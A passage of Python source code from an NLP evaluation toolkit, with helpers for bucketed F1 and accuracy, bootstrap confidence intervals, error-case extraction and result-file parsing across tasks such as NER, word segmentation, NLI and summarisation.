enumerate(sample_index_list): if sid in dict_sid2span_salient.keys(): true_label_list = dict_sid2span_salient[sid] true_label_list_revised = [true_label + "_" + str(ind) for true_label in true_label_list] true_label_bootstrap_list += true_label_list_revised if sid in dict_sid2span_salient_pred.keys(): pred_label_list = dict_sid2span_salient_pred[sid] pred_label_list_revised = [pred_label + "_" + str(ind) for pred_label in pred_label_list] pred_label_bootstrap_list += pred_label_list_revised f1, p, r = evaluate_chunk_level(pred_label_bootstrap_list, true_label_bootstrap_list) performance_list.append(f1) if n_times != 1000: confidence_low, confidence_up = mean_confidence_interval(performance_list) else: performance_list.sort() confidence_low = performance_list[24] confidence_up = performance_list[974] # print("\n") # print("confidence_low:\t", confidence_low) # print("confidence_up:\t", confidence_up) return confidence_low, confidence_up ################ Calculate Bucket-wise F1 Score: def getBucketF1(dict_bucket2span, dict_bucket2span_pred, dict_span2sid, dict_span2sid_pred): print('------------------ attribute') dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] #print('bucket_interval: ',bucket_interval) if bucket_interval not in dict_bucket2span_pred.keys(): #print(bucket_interval) raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] # print("debug----------") # print(len(dict_span2sid)) # print(len(dict_span2sid_pred)) confidence_low, confidence_up = compute_confidence_interval_f1(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred) confidence_low = format(confidence_low , '.3g') confidence_up = format(confidence_up, '.3g') f1, p, r = evaluate_chunk_level(spans_pred, spans_true) print("-----------print spans_pred -------------") print(spans_pred) print("confidence_low:\t", confidence_low) print("confidence_up:\t", confidence_up) print("F1:\t", f1) print("------------------------------------------") dict_bucket2f1[bucket_interval] = [f1, len(spans_true), confidence_low, confidence_up] # if bucket_interval[0] == 1.0: # print("debug-f1:",f1) # print(spans_pred[0:20]) # print(spans_true[0:20]) # print("dict_bucket2f1: ",dict_bucket2f1) return sortDict(dict_bucket2f1) # dict_chunkid2spanSent: 2_3 -> New York|||This is New York city # dict_pos2tag: 2_3 -> NER def get_errorCase(dict_pos2tag, dict_pos2tag_pred, dict_chunkid2spanSent, dict_chunkid2spanSent_pred): errorCase_list = [] for pos, tag in dict_pos2tag.items(): true_label = tag pred_label = "" #print(dict_chunkid2spanSent.keys()) if pos+"_"+tag not in dict_chunkid2spanSent.keys(): continue span_sentence = dict_chunkid2spanSent[pos+"_"+tag] if pos in dict_pos2tag_pred.keys(): pred_label = dict_pos2tag_pred[pos] if true_label == pred_label: continue else: pred_label = "O" error_case = span_sentence + "|||" + true_label + "|||" + pred_label errorCase_list.append(error_case) for pos, tag in dict_pos2tag_pred.items(): true_label = "" pred_label = tag if pos+"_"+tag not in dict_chunkid2spanSent_pred.keys(): continue span_sentence = dict_chunkid2spanSent_pred[pos+"_"+tag] if pos in dict_pos2tag.keys(): true_label = dict_pos2tag[pos] if true_label == pred_label: continue else: true_label = "O" error_case = span_sentence + "|||" + true_label + "|||" + pred_label errorCase_list.append(error_case) #print(errorCase_list) return errorCase_list ################ Calculate Bucket-wise F1 Score: def getBucketF1_ner(dict_bucket2span, dict_bucket2span_pred, dict_span2sid, dict_span2sid_pred, dict_chunkid2span, dict_chunkid2span_pred, is_print_ci, is_print_case): #print('------------------ attribute') dict_bucket2f1 = {} # predict: 2_3 -> NER dict_pos2tag_pred = {} for k_bucket_eval, spans_pred in dict_bucket2span_pred.items(): for span_pred in spans_pred: pos_pred = "_".join(span_pred.split("_")[0:2]) tag_pred = span_pred.split("_")[-1] dict_pos2tag_pred[pos_pred] = tag_pred #print(dict_pos2tag_pred) # true: 2_3 -> NER dict_pos2tag = {} for k_bucket_eval, spans in dict_bucket2span.items(): for span in spans: pos = "_".join(span.split("_")[0:2]) tag = span.split("_")[-1] dict_pos2tag[pos] = tag # print(dict_pos2tag_pred) errorCase_list = get_errorCase(dict_pos2tag, dict_pos2tag_pred, dict_chunkid2span, dict_chunkid2span_pred) for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] #print('bucket_interval: ',bucket_interval) if bucket_interval not in dict_bucket2span_pred.keys(): #print(bucket_interval) raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_f1(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred) confidence_low = format(confidence_low , '.3g') confidence_up = format(confidence_up, '.3g') f1, p, r = evaluate_chunk_level(spans_pred, spans_true) #print("-----------print spans_pred -------------") error_entity_list = [] if is_print_case: for span_true in spans_true: if span_true not in spans_pred: #print(span_true) pos_true = "_".join(span_true.split("_")[0:2]) tag_true = span_true.split("_")[-1] if pos_true in dict_pos2tag_pred.keys(): tag_pred = dict_pos2tag_pred[pos_true] if tag_pred != tag_true: error_entity_list.append(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + dict_pos2tag_pred[pos_true]) else: error_entity_list.append(dict_chunkid2span[span_true] + "|||" + tag_true + "|||" + "O") #print("confidence_low:\t", confidence_low) #print("confidence_up:\t", confidence_up) #print("F1:\t", f1) #print(error_entity_list) #print("------------------------------------------") dict_bucket2f1[bucket_interval] = [f1, len(spans_true), confidence_low, confidence_up, error_entity_list] # if bucket_interval[0] == 1.0: # print("debug-f1:",f1) # print(spans_pred[0:20]) # print(spans_true[0:20]) # print("dict_bucket2f1: ",dict_bucket2f1) return sortDict(dict_bucket2f1), errorCase_list def getBucketAcc(dict_bucket2span, dict_bucket2span_pred): print('------------------ attribute') dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] print('bucket_interval: ',bucket_interval) if bucket_interval not in dict_bucket2span_pred.keys(): #print(bucket_interval) raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] accuracy_each_bucket = accuracy(spans_pred, spans_true) confidence_low, confidence_up = compute_confidence_interval_acc(spans_pred, spans_true) dict_bucket2f1[bucket_interval] = [accuracy_each_bucket, len(spans_true), confidence_low, confidence_up] print("accuracy_each_bucket:\t", accuracy_each_bucket) return sortDict(dict_bucket2f1) ################ Calculate Bucket-wise F1 Score: def getBucketROUGE(dict_bucket2span): print('------------------ attribute') dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] rouge_list = [float(sample_pos.split("_")[-1]) for sample_pos in spans_true] avg_rouge = np.average(rouge_list) print('bucket_interval: ',bucket_interval) dict_bucket2f1[bucket_interval] = [avg_rouge, len(spans_true)] return sortDict(dict_bucket2f1) def compute_holistic_f1_re(path, delimiter = "\t"): fin = open(path, "r") true_list = [] pred_list = [] for line in fin: if len(line.split("\t"))!=3: #print(line) continue line = line.rstrip() true_list.append(line.split("\t")[-2]) pred_list.append(line.split("\t")[-1]) f1 = f1_score(true_list, pred_list, average='micro') # print(true_list[0:10]) # print(pred_list[0:10]) # print("------f1-----------") # print(f1) #exit() return f1 def compute_holistic_f1(fn_result, delimiter = " "): if delimiter == " ": cmd = 'perl %s -d \"\t\" < %s' % (os.path.join('.', 'conlleval'), fn_result) msg = '\nStandard CoNNL perl script (author: Erik Tjong Kim Sang <erikt@uia.ua.ac.be>, version: 2004-01-26):\n' msg += ''.join(os.popen(cmd).readlines()) print("result: ",msg) f1 = float(msg.split('\n')[3].split(':')[-1].strip()) return f1 def accuracy(labels, predictions, language=None): correct = sum([int(p == l) for p, l in zip(predictions, labels)]) accuracy = float(correct) / len(predictions) return accuracy*100 def get_ci_interval(confidence_val, confidence_delta): info = "(" + str(confidence_val) + "-" + str(confidence_delta) + ", " + str(confidence_val) + "+" + str( confidence_delta) + ")" return info def distance(text_sents, summary_sents): density, coverage, compression, copy_len, novelty_1, novelty_2, repetition_1, repetition_2 = 0,0,0,0,0,0,0,0 fragment = Fragments("\n".join(summary_sents), " ".join(text_sents)) compression = len(text_sents.split(" "))/len(summary_sents.split(" ")) density = fragment.density() # coverage = fragment.coverage() # compression = fragment.compression() copy_len = 0 if len(fragment.copy_len()) == 0 else sum(fragment.copy_len()) / len(fragment.copy_len()) novelty_1 = novelty_oneSample(text_sents, summary_sents, 1) novelty_2 = novelty_oneSample(text_sents, summary_sents, 2) repetition_1 = repetition_oneSample(summary_sents, 1) # repetition_2 = repetition_oneSample(summary_sents, 2) print(density, coverage, compression, copy_len, novelty_1, novelty_2, repetition_1, repetition_2) return density, coverage, compression, copy_len, novelty_1, novelty_2, repetition_1, repetition_2 def list_minus(a, b): return [tmpa - tmpb for tmpa, tmpb in zip(a, b)] def get_avg(res): result = {} for key, value in res.items(): if isinstance(value, list): result[key] = sum(value) / len(value) else: result[key] = value return result def wordSegment2(sent): tknzr = TweetTokenizer() token_list = tknzr.tokenize(sent) return token_list def wordSegment(sent): if len(sent.split(" ")) == 1 and len(list(sent)) >= 10: return " ".join(list(sent)) else: return sent def intervalTransformer(inter_list): dict_old2new = {} last = 0 for ind, interval in enumerate(inter_list): if ind == 0: last = interval[0] if len(interval) == 1: #new_inter_list.append(interval) dict_old2new[interval] = interval last = interval[0] else: #new_inter_list.append((last, interval[1])) dict_old2new[interval] = (last, interval[1]) last = interval[1] return dict_old2new def sortDict(dict_obj, flag = "key"): sorted_dict_obj = [] if flag == "key": sorted_dict_obj = sorted(dict_obj.items(), key=lambda item:item[0]) elif flag == "value": #dict_bucket2span_ sorted_dict_obj = sorted(dict_obj.items(), key=lambda item:len(item[1]), reverse = True) return dict(sorted_dict_obj) def reverseDict(dict_a2b): dict_b2a = {} for k, v in dict_a2b.items(): v = float(v) if v not in dict_b2a.keys(): dict_b2a[float(v)] = [k] else: dict_b2a[float(v)].append(k) return dict_b2a def reverseDict_discrete(dict_a2b): dict_b2a = {} for k, v in dict_a2b.items(): if v not in dict_b2a.keys(): dict_b2a[v] = [k] else: dict_b2a[v].append(k) return dict_b2a def findKey(dict_obj, x): for k, v in dict_obj.items(): if len(k) == 1: if x == k[0]: return k elif len(k) ==2 and x >= k[0] and x <= k[1]: # Attention !!! return k def tuple2str(triplet): res = "" for v in triplet: res += str(v) + "|||" return res.rstrip("|||") def bucketAttribute_SpecifiedBucketValue(dict_span2attVal, n_buckets, hardcoded_bucket_values): ################ Bucketing different Attributes # hardcoded_bucket_values = [set([float(0), float(1)])] #print("!!!debug-7--") p_infinity = 1000000 n_infinity = -1000000 n_spans = len(dict_span2attVal) dict_attVal2span = reverseDict(dict_span2attVal) dict_attVal2span = sortDict(dict_attVal2span) dict_bucket2span = {} for backet_value in hardcoded_bucket_values: if backet_value in dict_attVal2span.keys(): #print("------------work!!!!---------") #print(backet_value) dict_bucket2span[(backet_value,)] = dict_attVal2span[backet_value] n_spans -= len(dict_attVal2span[backet_value]) n_buckets -= 1 avg_entity = n_spans * 1.0 / n_buckets n_tmp = 0 entity_list = [] val_list = [] # #print("-----avg_entity----------") #print(avg_entity) for attval, entity in dict_attVal2span.items(): if attval in hardcoded_bucket_values: continue # print("debug-attval:\t",attval) val_list.append(attval) entity_list += entity n_tmp += len(entity) # print(attval) # print(n_tmp, avg_entity) if n_tmp > avg_entity: if len(val_list) >=2: key_bucket = (val_list[0], val_list[-1]) dict_bucket2span[key_bucket] = entity_list #print("debug key bucket:\t", key_bucket) else: dict_bucket2span[(val_list[0],)] = entity_list entity_list = [] n_tmp = 0 val_list = [] if n_tmp != 0: if n_buckets == 1: dict_bucket2span[(n_infinity,p_infinity)] = entity_list else: if val_list[0] <=1: p_infinity = 1.0 #print("!!!!!-debug-2") if len(val_list) >=2: key_bucket = (val_list[0], p_infinity) dict_bucket2span[key_bucket] = entity_list else: dict_bucket2span[(val_list[0],p_infinity)] = entity_list # fix bugs # # # # [(0,), (0.1, 0.2), (0.3,0.4), (0.5, 0.6)] --> [(0,), (0,0.2), (0.2, 0.4), (0.4, 0.6)] # dict_old2new = intervalTransformer(dict_bucket2span.keys()) # dict_bucket2span_new = {} # for inter_list, span_list in dict_bucket2span.items(): # dict_bucket2span_new[dict_old2new[inter_list]] = span_list return dict_bucket2span def bucketAttribute_DiscreteValue(dict_span2attVal = None, n_buckets = 100000000, n_entities = 1): ################ Bucketing different Attributes #print("!!!!!debug---------") # hardcoded_bucket_values = [set([float(0), float(1)])] n_spans = len(dict_span2attVal) dict_bucket2span = {} dict_attVal2span = reverseDict_discrete(dict_span2attVal) dict_attVal2span = sortDict(dict_attVal2span, flag = "value") # dict["q_id"] = 2 avg_entity = n_spans * 1.0 / n_buckets n_tmp = 0 entity_list = [] val_list = [] n_total = 1 for attval, entity in dict_attVal2span.items(): if len(entity) < n_entities or n_total > n_buckets: break dict_bucket2span[(attval,)] = entity n_total += 1 return dict_bucket2span def bucketAttribute_SpecifiedBucketInterval(dict_span2attVal, intervals): ################ Bucketing different Attributes #hardcoded_bucket_values = [set([float(0), float(1)])] #intervals = [0, (0,0.5], (0.5,0.9], (0.99,1]] dict_bucket2span = {} n_spans = len(dict_span2attVal) #print("!!!!!!!enter into bucketAttribute_SpecifiedBucketInterval") #print(intervals) if type(list(intervals)[0][0]) == type("string"): # discrete value, such as entity tags dict_attVal2span = reverseDict_discrete(dict_span2attVal) dict_attVal2span = sortDict(dict_attVal2span, flag = "value") for attval, entity in dict_attVal2span.items(): attval_tuple = (attval,) if attval_tuple in intervals: if attval_tuple not in dict_bucket2span.keys(): dict_bucket2span[attval_tuple] = entity else: dict_bucket2span[attval_tuple] += entity for val in intervals: if val not in dict_bucket2span.keys(): dict_bucket2span[val] = [] # print("dict_bucket2span: ",dict_bucket2span) else: #print("---debug----5") #print(intervals) dict_attVal2span = reverseDict(dict_span2attVal) dict_attVal2span = sortDict(dict_attVal2span) for v in intervals: if len(v) == 1: dict_bucket2span[v] = [] else: dict_bucket2span[v] = [] # print("debug-interval:\t", intervals) for attval, entity in dict_attVal2span.items(): res_key = findKey(dict_bucket2span, attval) #print("res-key:\t"+ str(res_key)) if res_key == None: continue dict_bucket2span[res_key] += entity return dict_bucket2span def printDict(dict_obj, info="dict"): #print("-----------------------------------------------") print("the information of #" + info + "#") print("Bucket_interval\tF1\tEntity-Number") for k,v in dict_obj.items(): if len(k) == 1: print("[" + str(k[0])+",]" + "\t" + str(v[0]) + "\t" + str(v[1])) else: print("[" + str(k[0])+", " + str(k[1]) +"]" + "\t" + str(v[0]) + "\t" + str(v[1])) print("") def extValue(cont, fr, to): return cont.split(fr)[-1].split(to)[0] def loadConf(path_conf): fin = open(path_conf,"r") all_cont = fin.read() dict_aspect_func={} for block in all_cont.split("# "): # print("debug3-------") # print(block) notation = extValue(block, "notation:\t", "\n").rstrip(" ") if notation == "": continue # print("debug4--notation-----") # print(notation) func_type = extValue(block, "type:\t", "\n").rstrip(" ") func_setting = extValue(block, "setting:\t", "\n").rstrip(" ") is_preComputed = extValue(block, "is_preComputed:\t", "\n").rstrip(" ") dict_aspect_func[notation] = (func_type, func_setting, is_preComputed) # exit() return dict_aspect_func def ensureDir(f): if not os.path.exists(f): os.makedirs(f) def load_json(path): with open(path, "r") as f: json_template = json.load(f) # steps = [Step.from_dict(step_dict) for step_dict in schemas["steps"]] return json_template def save_json(obj_json, path): with open(path, "w") as f: json.dump(obj_json, f, indent=4, ensure_ascii=False) def getPos2SentId(test_word_sequences_sent): dict_pos2sid = {} pos = 0 for sid, sent in enumerate(test_word_sequences_sent): for i in range(len(sent)): dict_pos2sid[pos] = sid pos += 1 return dict_pos2sid def getTokenPosition(test_word_sequences_sent): dict_ap2rp = {} pos = 0 for sid, sent in enumerate(test_word_sequences_sent): for i in range(len(sent)): dict_ap2rp[pos] = i pos += 1 return dict_ap2rp def file2list(path_file): res_list = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") res_list.append(line) fin.close() return res_list def file_to_list_triple(path_file): sent_list = [] true_label_list = [] pred_label_list = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") if len(line.split("\t")) !=3: continue sent, true_label, pred_label = line.split("\t")[0], line.split("\t")[1], line.split("\t")[2] sent_list.append(sent) true_label_list.append(true_label) pred_label_list.append(pred_label) fin.close() return sent_list, true_label_list, pred_label_list def file_to_list_tc(path_file): sent_list = [] true_label_list = [] pred_label_list = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") if len(line.split("\t")) !=5: continue sent, true_label, pred_label = line.split("\t")[0], line.split("\t")[1], line.split("\t")[2] sent_list.append(sent) true_label_list.append(true_label) pred_label_list.append(pred_label) fin.close() return sent_list, true_label_list, pred_label_list def file_to_list_re(file_path): sample_list = [] fin = open(file_path,"r") true_list = [] pred_list = [] sent_list = [] entity_list = [] for idx, line in enumerate(fin): if idx == 0: continue info_list = line.rstrip("\n").split("\t") sample_list.append([info for info in info_list]) true_list.append(info_list[3]) pred_list.append(info_list[4]) sent_list.append(info_list[0]) entity_list.append(info_list[1]) return sample_list, sent_list, entity_list, true_list, pred_list def file_to_list_nli(path_file): sent1_list = [] sent2_list = [] true_label_list = [] pred_label_list = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") if len(line.split("\t")) <4: continue sent1, sent2, true_label, pred_label = line.split("\t")[0], line.split("\t")[1], line.split("\t")[2], line.split("\t")[3] sent1_list.append(sent1) sent2_list.append(sent2) true_label_list.append(true_label) pred_label_list.append(pred_label) fin.close() return sent1_list, sent2_list, true_label_list, pred_label_list def file_to_list_absa(path_file): sent1_list = [] sent2_list = [] true_label_list = [] pred_label_list = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") if len(line.split("\t")) <4: continue sent1, sent2, true_label, pred_label = line.split("\t")[0], line.split("\t")[1], line.split("\t")[2], line.split("\t")[3] sent1_list.append(sent1) sent2_list.append(sent2) true_label_list.append(true_label) pred_label_list.append(pred_label) fin.close() return sent1_list, sent2_list, true_label_list, pred_label_list def file_to_list_summ(path_file): doc_list = [] hyp_list = [] ref_list = [] r1 = [] r2 = [] rl = [] r1_overall = [] r2_overall = [] rl_overall = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") if len(line.split("\t")) <9: continue sent, true_label, pred_label = line.split("\t")[0], line.split("\t")[1], line.split("\t")[2] doc_list.append(line.split("\t")[0]) hyp_list.append(line.split("\t")[1]) ref_list.append(line.split("\t")[2]) r1.append(line.split("\t")[3]) r2.append(line.split("\t")[4]) rl.append(line.split("\t")[5]) r1_overall.append(line.split("\t")[6]) r2_overall.append(line.split("\t")[7]) rl_overall.append(line.split("\t")[8]) fin.close() return doc_list, hyp_list, ref_list, r1, r2, rl, r1_overall, r2_overall, rl_overall def file2listPair(path_file): sent1_list = [] sent2_list = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") sent1, sent2 = line.split("\t")[0], line.split("\t")[1] sent1_list.append(sent1) sent2_list.append(sent2) fin.close() return sent1_list, sent2_list def file2list_firstColumn(path_file): res_list = [] fin = open(path_file,"r") for line in fin: line = line.rstrip("\n").split("\t")[0] res_list.append(line) fin.close() return res_list def file2dict(path_file): res_dict = {} fin = open(path_file,"r") for line in fin: line = line.rstrip("\n") sent_id, sent = line.split("\t") res_dict[sent_id] = sent fin.close() return res_dict def read_tag_pos(file): labels = [] example = [] labels_holistic = [] with open(file, 'r') as f: for line in f: line = line.strip() if line: example.append("B-"+line) #print("B"+line) labels_holistic.append("B-"+line) else: labels.append(example) example = [] if example: labels.append(example) return labels, labels_holistic # def read_tag(file): # labels = [] # example = [] # with open(file, 'r') as f: # for line in f: # line = line.strip() # if line: # example.append(line) # else: # labels.append(example) # example = [] # if example: # labels.append(example) # return labels def read_text_pos(file): labels = [] example = [] labels_holistic = [] with open(file, 'r') as f: for line in f: line = line.strip() if line: line = line.split("\t")[0] example.append(line) labels_holistic.append(line) else: labels.append(example) example = [] if example: labels.append(example) return labels, labels_holistic def read_tag(file): labels = [] example = [] labels_holistic = [] with open(file, 'r') as f: for line in f: line = line.strip() if line: example.append(line) labels_holistic.append(line) else: labels.append(example) example = [] if example: labels.append(example) return labels, labels_holistic def read_single_column(file,k): labels = [] example = [] labels_holistic = [] with open(file, 'r') as f: for line in f: line = line.strip() if line: if len(line.split("\t")) !=3: print(line) example.append(line.split("\t")[k]) labels_holistic.append(line.split("\t")[k]) else: labels.append(example) example = [] if example: labels.append(example) return labels, labels_holistic def bucc_f1(labels, predictions, language=None): labels = set([tuple(l.split('\t')) for l in labels]) predictions = set([tuple(l.split('\t')) for l in predictions]) ncorrect = len(labels.intersection(predictions)) if ncorrect > 0: precision = ncorrect / len(predictions) recall = ncorrect / len(labels) f1 = 2 * precision * recall / (precision + recall) else: precision = recall = f1 = 0 return {'f1': f1 * 100, 'precision': precision * 100, 'recall': recall * 100} def f1(labels, predictions, language=None): f1 = f1_score(labels, predictions) precision = precision_score(labels, predictions) recall = recall_score(labels, predictions) return {'f1': f1 * 100, 'precision': precision * 100, 'recall': recall * 100} def format4json_tc(sent): sent = sent.replace(":"," ").replace("\"","").replace("\'","").replace("/","").replace("\\","").replace("{","").replace("}","") sent = sent.replace("\"","").replace("\\n","").replace("\\n\\n","").replace("\\\"\"\"","") if len(sent.split(" ")) > 521: wordlist = sent.split(" ")[:520] sent = " ".join(wordlist) + " ... " return sent def getErrorCase_tc(sent_list, true_label_list, pred_label_list): errorCase_list = [] for sent, true_label, pred_label in zip(sent_list, true_label_list, pred_label_list): if true_label != pred_label: errorCase_list.append(true_label + "|||" + pred_label +"|||" + format4json_tc(sent)) return errorCase_list def getErrorCase_re(sent_list, entity_list, true_label_list, pred_label_list): errorCase_list = [] for sent, entities, true_label, pred_label in zip(sent_list, entity_list, true_label_list, pred_label_list): if true_label != pred_label: errorCase_list.append(true_label + "|||" + pred_label +"|||" + entities + "|||" + format4json_tc(sent)) return errorCase_list def getBucketAcc_with_errorCase(dict_bucket2span, dict_bucket2span_pred, dict_sid2sent, is_print_ci, is_print_case): # The structure of span_true or span_pred # 2345|||Positive # 2345 represents sentence id # Positive represents the "label" of this instance dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] if bucket_interval not in dict_bucket2span_pred.keys(): raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] # loop over samples from a given bucket error_case_bucket_list = [] if is_print_case: for info_true, info_pred in zip(spans_true, spans_pred): sid_true, label_true = info_true.split("|||") sid_pred, label_pred = info_pred.split("|||") if sid_true != sid_pred: continue sent = dict_sid2sent[sid_true] if label_true != label_pred: error_case_info = label_true + "|||" + label_pred + "|||" + sent error_case_bucket_list.append(error_case_info) accuracy_each_bucket = accuracy(spans_pred, spans_true) confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_acc(spans_pred, spans_true) dict_bucket2f1[bucket_interval] = [accuracy_each_bucket, len(spans_true), confidence_low, confidence_up, error_case_bucket_list] return sortDict(dict_bucket2f1) def getBucketAcc_with_errorCase_re(dict_bucket2span, dict_bucket2span_pred, dict_sid2sent, is_print_ci, is_print_case): # The structure of span_true or span_pred # 2345|||Positive # 2345 represents sentence id # Positive represents the "label" of this instance dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] if bucket_interval not in dict_bucket2span_pred.keys(): raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] # loop over samples from a given bucket error_case_bucket_list = [] if is_print_case: for info_true, info_pred in zip(spans_true, spans_pred): sid_true, label_true = info_true.split("|||") sid_pred, label_pred = info_pred.split("|||") if sid_true != sid_pred: continue sent_entities = dict_sid2sent[sid_true] if label_true != label_pred: error_case_info = label_true + "|||" + label_pred + "|||" + sent_entities error_case_bucket_list.append(error_case_info) accuracy_each_bucket = accuracy(spans_pred, spans_true) confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_acc(spans_pred, spans_true) dict_bucket2f1[bucket_interval] = [accuracy_each_bucket, len(spans_true), confidence_low, confidence_up, error_case_bucket_list] return sortDict(dict_bucket2f1) def getErrorCase_nli(sent1_list, sent2_list, true_label_list, pred_label_list): errorCase_list = [] for sent1, sent2, true_label, pred_label in zip(sent1_list, sent2_list, true_label_list, pred_label_list): if true_label != pred_label: errorCase_list.append(true_label + "|||" + pred_label +"|||" + format4json_tc(sent1) +"|||" + format4json_tc(sent2)) return errorCase_list def getBucketAcc_with_errorCase_nli(dict_bucket2span, dict_bucket2span_pred, dict_sid2sentpair, is_print_ci, is_print_case): # The structure of span_true or span_pred # 2345|||Positive # 2345 represents sentence id # Positive represents the "label" of this instance dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] if bucket_interval not in dict_bucket2span_pred.keys(): raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] # loop over samples from a given bucket error_case_bucket_list = [] if is_print_case: for info_true, info_pred in zip(spans_true, spans_pred): sid_true, label_true = info_true.split("|||") sid_pred, label_pred = info_pred.split("|||") if sid_true != sid_pred: continue sent = dict_sid2sentpair[sid_true] if label_true != label_pred: error_case_info = label_true + "|||" + label_pred + "|||" + sent error_case_bucket_list.append(error_case_info) accuracy_each_bucket = accuracy(spans_pred, spans_true) confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_acc(spans_pred, spans_true) dict_bucket2f1[bucket_interval] = [accuracy_each_bucket, len(spans_true), confidence_low, confidence_up, error_case_bucket_list] return sortDict(dict_bucket2f1) def getErrorCase_absa(aspect_list, sent_list, true_label_list, pred_label_list): errorCase_list = [] for aspect, sent, true_label, pred_label in zip(aspect_list, sent_list, true_label_list, pred_label_list): if true_label != pred_label: errorCase_list.append(true_label + "|||" + pred_label +"|||" + format4json_tc(aspect) +"|||" + format4json_tc(sent)) return errorCase_list def getBucketAcc_with_errorCase_absa(dict_bucket2span, dict_bucket2span_pred, dict_sid2sentpair, is_print_ci, is_print_case): # The structure of span_true or span_pred # 2345|||Positive # 2345 represents sentence id # Positive represents the "label" of this instance dict_bucket2f1 = {} for bucket_interval, spans_true in dict_bucket2span.items(): spans_pred = [] # print('bucket_interval: ',bucket_interval) if bucket_interval not in dict_bucket2span_pred.keys(): #print(bucket_interval) raise ValueError("Predict Label Bucketing Errors") else: spans_pred = dict_bucket2span_pred[bucket_interval] # loop over samples from a given bucket error_case_bucket_list = [] if is_print_case: for info_true, info_pred in zip(spans_true, spans_pred): sid_true, label_true = info_true.split("|||") sid_pred, label_pred = info_pred.split("|||") if sid_true != sid_pred: continue sent = dict_sid2sentpair[sid_true] if label_true != label_pred: error_case_info = label_true + "|||" + label_pred + "|||" + sent error_case_bucket_list.append(error_case_info) accuracy_each_bucket = accuracy(spans_pred, spans_true) confidence_low, confidence_up = 0,0 if is_print_ci: confidence_low, confidence_up = compute_confidence_interval_acc(spans_pred, spans_true) dict_bucket2f1[bucket_interval] = [accuracy_each_bucket, len(spans_true), confidence_low, confidence_up, error_case_bucket_list] # print(error_case_bucket_list) print("accuracy_each_bucket:\t", accuracy_each_bucket) return sortDict(dict_bucket2f1) # 1000 def compute_confidence_interval_f1_cws(spans_true, spans_pred, dict_span2sid, dict_span2sid_pred, n_times=1000): n_data = len(dict_span2sid) sample_rate = get_sample_rate(n_data) n_sampling = int(n_data * sample_rate) print("sample_rate:\t", sample_rate) print("n_sampling:\t", n_sampling) dict_sid2span_salient = {} for span in spans_true: #print(span) if len(span.split("|||"))!=3: break sid = dict_span2sid[span] if sid in dict_sid2span_salient.keys(): dict_sid2span_salient[sid].append(span) else: dict_sid2span_salient[sid] = [span] dict_sid2span_salient_pred = {} for span in spans_pred: sid = dict_span2sid_pred[span] if sid in dict_sid2span_salient_pred.keys(): dict_sid2span_salient_pred[sid].append(span) else: dict_sid2span_salient_pred[sid] = [span] performance_list = [] confidence_low, confidence_up = 0,0 for i in range(n_times): sample_index_list = choices(range(n_data), k=n_sampling) true_label_bootstrap_list = [] pred_label_bootstrap_list = [] for ind, sid in enumerate(sample_index_list): if sid in dict_sid2span_salient.keys(): true_label_list = dict_sid2span_salient[sid] true_label_list_revised = [true_label + "|||" + str(ind) for true_label in true_label_list] true_label_bootstrap_list += true_label_list_revised if sid in dict_sid2span_salient_pred.keys(): pred_label_list = dict_sid2span_salient_pred[sid] pred_label_list_revised = [pred_label + "|||" + str(ind) for pred_label in pred_label_list] pred_label_bootstrap_list += pred_label_list_revised f1, p, r = evaluate_chunk_level(pred_label_bootstrap_list, true_label_bootstrap_list) performance_list.append(f1) if n_times != 1000: confidence_low, confidence_up = mean_confidence_interval(performance_list) else: performance_list.sort() confidence_low = performance_list[24] confidence_up = performance_list[974] # print("\n") # print("confidence_low:\t", confidence_low) # print("confidence_up:\t", confidence_up) return confidence_low, confidence_up # dict_chunkid2spanSent: 2_3 -> New York|||This is New York city # dict_pos2tag: 2_3 -> NER def get_errorCase_cws(dict_pos2tag, dict_pos2tag_pred, dict_chunkid2spanSent, dict_chunkid2spanSent_pred, list_true_tags_token, list_pred_tags_token): errorCase_list = [] for pos, tag in dict_pos2tag.items(): true_label = tag pred_label = "" #print(dict_chunkid2spanSent.keys()) if pos+"|||"+tag not in dict_chunkid2spanSent.keys(): continue span_sentence = dict_chunkid2spanSent[pos+"|||"+tag] if pos in dict_pos2tag_pred.keys(): pred_label = dict_pos2tag_pred[pos] if true_label == pred_label: continue # print(pos + "\t" + true_label + "\t" + pred_label) else: start = int(pos.split("|||")[0]) end = int(pos.split("|||")[1]) pred_label = "".join(list_pred_tags_token[start:end]) # print(pred_label) error_case = span_sentence + "|||" + true_label + "|||" + pred_label errorCase_list.append(error_case) for pos, tag in dict_pos2tag_pred.items(): true_label = "" pred_label = tag if pos+"|||"+tag not in dict_chunkid2spanSent_pred.keys(): continue span_sentence = 